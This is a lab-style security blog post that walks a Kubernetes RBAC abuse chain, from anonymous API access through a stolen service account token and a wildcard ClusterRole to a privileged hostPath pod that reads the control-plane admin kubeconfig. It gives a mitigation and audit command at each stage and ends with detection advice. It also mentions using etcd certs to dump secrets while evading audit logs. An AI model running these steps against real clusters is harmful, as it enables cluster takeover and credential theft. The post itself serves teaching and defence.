Kubernetes RBAC Abuse: From system:anonymous to cluster-admin

A hands-on lab walking the full RBAC misconfiguration chain — unauthenticated API access to cluster-admin — with mitigations at each stage.

Kubernetes RBAC Abuse: From system:anonymous to cluster-admin
Photo by Growtika / Unsplash

Kubernetes RBAC is the cluster's primary authorization system, and when it works it does exactly what you want: a compromised pod stays a compromised pod, not a compromised cluster. When it doesn't, the gap between system:anonymous and cluster-admin can be a handful of kubectl commands. This post walks the entire chain end to end in a local lab — the kind of misconfiguration combo that shows up in real assessments — and notes the fix at each stage so you can stop the chain wherever it's cheapest to stop.

I'll use kind for the lab because it gives us a real kubeadm-style control plane on a laptop. If you prefer k3s, the same techniques work; the file paths differ slightly. The chain has four hops: unauthenticated read access via system:anonymous, lateral movement to a workload service account, exploitation of a too-broad ClusterRole, and finally a privileged pod on a control-plane node that hands us the admin kubeconfig.

Lab setup

Spin up a multi-node cluster so we have something resembling a real topology. The control-plane node is what we ultimately want to land on.

cat <<EOF | kind create cluster --name rbac-lab --config=-
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
- role: control-plane
- role: worker
EOF

kubectl cluster-info --context kind-rbac-lab

A fresh kind cluster is reasonably locked down — the anonymous user has essentially no permissions out of the box. We're going to deliberately introduce the misconfigurations you actually see in the wild, one per stage, so the chain is reproducible. Treat each stage as what the attacker finds rather than what we set up; the mitigations explain why someone shouldn't have done that in the first place.

Stage 1: Anonymous access to the API

Anonymous access to the kube-apiserver is enabled by default. Per the Kubernetes authentication docs, requests that don't carry a valid credential are assigned the username system:anonymous and the group system:unauthenticated. By itself that's not catastrophic — the default bindings only give anonymous users the discovery endpoints and health checks. The danger is when someone has bound a more useful role to either of those identities.

To simulate the misconfiguration, we'll bind the built-in view ClusterRole to system:anonymous. This is a real thing I've seen — usually because someone was debugging a dashboard or a monitoring agent and never reverted the change.

kubectl create clusterrolebinding anon-view \
    --clusterrole=view \
    --user=system:anonymous

Now play the attacker. From a shell with no kubeconfig at all, point at the API server and read whatever you like:

APISERVER=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')

# No token, no cert, nothing
curl -k $APISERVER/api/v1/namespaces/kube-system/pods | jq '.items[].metadata.name'
curl -k $APISERVER/api/v1/namespaces/default/serviceaccounts | jq '.items[].metadata.name'

Or, more comfortably, use kubectl with --as=system:anonymous from any cluster-admin context to confirm what the anonymous user can do:

kubectl auth can-i --list --as=system:anonymous
kubectl get pods -A --as=system:anonymous

The view role lets us list pods, services, deployments, and — critically — service accounts across every namespace. We can't read Secrets directly with view, but we now have a complete map of the cluster's workloads and the service accounts attached to them. That's all we need to pick a target.

Mitigation for Stage 1

On a self-managed cluster, set --anonymous-auth=false on the kube-apiserver. The flag defaults to true, so its absence from the kube-apiserver manifest means anonymous access is on. On managed platforms (EKS, GKE, AKS) you usually can't toggle the flag, but you can — and should — delete any ClusterRoleBinding that grants rights to system:anonymous or system:unauthenticated. If you need anonymous health checks for load balancers, Kubernetes 1.32+ supports a scoped AuthenticationConfiguration that allows anonymous access only on specific paths like /livez and /readyz. There's almost never a good reason to bind to the anonymous identities — audit anything that does.

kubectl get clusterrolebindings -o json | \
  jq '.items[] | select(.subjects[]? | .name=="system:anonymous" or .name=="system:unauthenticated") | .metadata.name'

Stage 2: Pivoting to a service account token

The attacker now knows every workload in the cluster. The next move depends on finding a pod they can talk to — typically an exposed application with an RCE, an SSRF, or a debug endpoint reachable from outside. We'll skip the application exploit and assume the attacker has a shell inside a pod in the default namespace.

Create the vulnerable workload:

kubectl create serviceaccount app-sa
kubectl run vuln-app --image=nicolaka/netshoot --serviceaccount=app-sa \
  --command -- sleep infinity

From inside the pod, the service account token is mounted at the standard location. This is the default behavior — unless you explicitly set automountServiceAccountToken: false, every pod gets a token for its service account injected at /var/run/secrets/kubernetes.io/serviceaccount/token.

kubectl exec -it vuln-app -- bash

# Inside the pod:
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
API=https://kubernetes.default.svc

curl --cacert $CACERT -H "Authorization: Bearer $TOKEN" $API/api/v1/namespaces/default/pods

This token authenticates as system:serviceaccount:default:app-sa. On a clean cluster it has almost no rights. On a real cluster, this is where things usually go sideways — somebody granted broader permissions to make a CI job work and never scoped them down. We'll bake that exact mistake into Stage 3.

Mitigation for Stage 2

For any workload that doesn't talk to the Kubernetes API — which is the majority — turn off token automounting. Set it on the pod spec, or globally on the service account:

apiVersion: v1
kind: ServiceAccount
metadata:
  name: app-sa
  namespace: default
automountServiceAccountToken: false

Give each workload its own dedicated service account. The shared default service account is the most common reuse-by-accident path, and a compromised pod inherits whatever the previous engineer bolted onto it.

Stage 3: An over-permissive ClusterRole

Here's the misconfiguration that turns a foothold into a cluster takeover. A platform engineer setting up a custom controller created a ClusterRole with wildcard verbs on pods, then bound the workload's service account to it. The reason is usually "the controller needs to manage pods across namespaces" and the scope never gets tightened.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: pod-manager
rules:
- apiGroups: [""]
  resources: ["pods", "pods/exec"]
  verbs: ["*"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: app-sa-pod-manager
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: pod-manager
subjects:
- kind: ServiceAccount
  name: app-sa
  namespace: default

Apply it with kubectl apply -f overperm.yaml. The attacker, still inside vuln-app, can now create pods in any namespace — including kube-system. As the Kubernetes good-practices doc notes, the ability to create pods in a namespace that runs powerful workloads effectively grants the rights of those workloads — because you can mount their service account tokens, or schedule onto their nodes.

From inside the pod, confirm the new permissions and pick a target:

kubectl --token=$TOKEN --certificate-authority=$CACERT --server=$API \
  auth can-i create pods --all-namespaces
# yes

Mitigation for Stage 3

Wildcards in RBAC rules are almost always a smell. If the controller really needs create, get, list, and delete on pods, write those four verbs out. Scope the binding to a namespace with a Role and RoleBinding instead of ClusterRole and ClusterRoleBinding whenever possible. Beyond wildcards, keep a close eye on the verbs that defeat Kubernetes' own privilege-escalation guardrails: escalate and bind on roles, impersonate on users and service accounts, and create/update on RBAC objects themselves. The bind verb specifically lets a principal bypass the rule that you can't grant permissions you don't already have — it's the explicit "yes, this user is allowed to escalate" switch.

Audit wildcards directly:

kubectl get clusterroles -o json | \
  jq '.items[] | select(.rules[]? | (.verbs[]?=="*") or (.resources[]?=="*")) | .metadata.name'

Stage 4: A privileged pod on the control plane

This is the final hop. With pods: create in kube-system and no Pod Security admission blocking us, we schedule a pod onto a control-plane node, mount the host filesystem, and read the cluster-admin kubeconfig directly off disk.

The pod manifest does three things: tolerates the control-plane taint so the scheduler will actually place it there, pins the node selector to a control-plane node, and mounts / from the host into the pod.

apiVersion: v1
kind: Pod
metadata:
  name: node-pwn
  namespace: kube-system
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - name: shell
    image: alpine
    command: ["/bin/sh", "-c", "sleep infinity"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /
      type: Directory
  tolerations:
  - key: node-role.kubernetes.io/control-plane
    operator: Exists
    effect: NoSchedule
  nodeSelector:
    node-role.kubernetes.io/control-plane: ""

The attacker submits this from inside the compromised pod using their service account token, then execs into it:

kubectl --token=$TOKEN --certificate-authority=$CACERT --server=$API \
  apply -f node-pwn.yaml

kubectl --token=$TOKEN --certificate-authority=$CACERT --server=$API \
  -n kube-system exec -it node-pwn -- sh

# Inside the pod, on the control-plane node:
cat /host/etc/kubernetes/admin.conf
apiVersion: v1
clusters:
- cluster:
    certificate-authority-data: LS0tLS1CRUdJTi...
    server: https://127.0.0.1:6443
  name: kubernetes
users:
- name: kubernetes-admin
  user:
    client-certificate-data: LS0tLS1CRUdJTi...
    client-key-data: LS0tLS1CRUdJTi...

partial contents of /etc/kubernetes/admin.conf on a kubeadm control plane

That kubeconfig contains a client certificate signed by the cluster CA with a CN of kubernetes-admin and the Organization field set to system:masters — the group that bypasses all RBAC checks unconditionally. Copy it off the node, point your local kubectl at the API server's external address, and you're cluster-admin. Game over.

While we're here, /host/var/lib/kubelet/pki/ and /host/etc/kubernetes/pki/ are worth a look too — the etcd client certs in particular let you dump every secret in the cluster directly from etcd, bypassing the API server and any audit logging that goes with it.

Mitigation for Stage 4

This is where Pod Security Admission earns its keep. Apply the restricted profile at the namespace level — at minimum on kube-system and anywhere else arbitrary workloads shouldn't land:

apiVersion: v1
kind: Namespace
metadata:
  name: kube-system
  labels:
    pod-security.kubernetes.io/enforce: baseline
    pod-security.kubernetes.io/audit: restricted
    pod-security.kubernetes.io/warn: restricted

The baseline profile alone blocks privileged: true, hostPath, hostNetwork, and hostPID — every dangerous knob this pod relied on. If you need more flexibility than PSA gives you (per-image rules, registry restrictions, signed manifests), reach for an admission controller like Kyverno or OPA Gatekeeper. The other half is making sure nobody can create pods in kube-system in the first place; service accounts that manage application workloads almost never need write access there, so constrain them with namespace-scoped Roles.

Detecting the chain

If you only get to do one thing, turn on the API audit log and watch for requests authenticated as system:anonymous that aren't hitting /livez, /readyz, or /healthz. That single signal would have caught Stage 1, and Stage 1 is where this chain starts.

For an offline audit, two open-source tools are worth keeping in your kit: kubectl-who-can for ad-hoc "who can do X in namespace Y" questions, and rbac-police for graphing privilege escalation paths across the whole cluster. Neither is a substitute for writing tight RBAC in the first place, but both are good at surfacing the bindings that accumulated quietly over the last year and a half.

TL;DR

  • Anonymous API access is on by default. Strip any RBAC binding that grants rights to system:anonymous or system:unauthenticated, and disable the flag where you can.
  • Auto-mounted service account tokens turn every pod compromise into an API foothold. Set automountServiceAccountToken: false on workloads that don't need it.
  • Wildcards in RBAC rules are almost always wrong. The verbs escalate, bind, and impersonate deserve specific scrutiny because they bypass Kubernetes' built-in escalation guardrails.
  • Pod Security Admission with the baseline profile blocks the privileged-pod-to-host-filesystem move that ends almost every cluster compromise.
  • Audit log system:anonymous requests outside the health-check paths. It's the cheapest detection you'll deploy this quarter.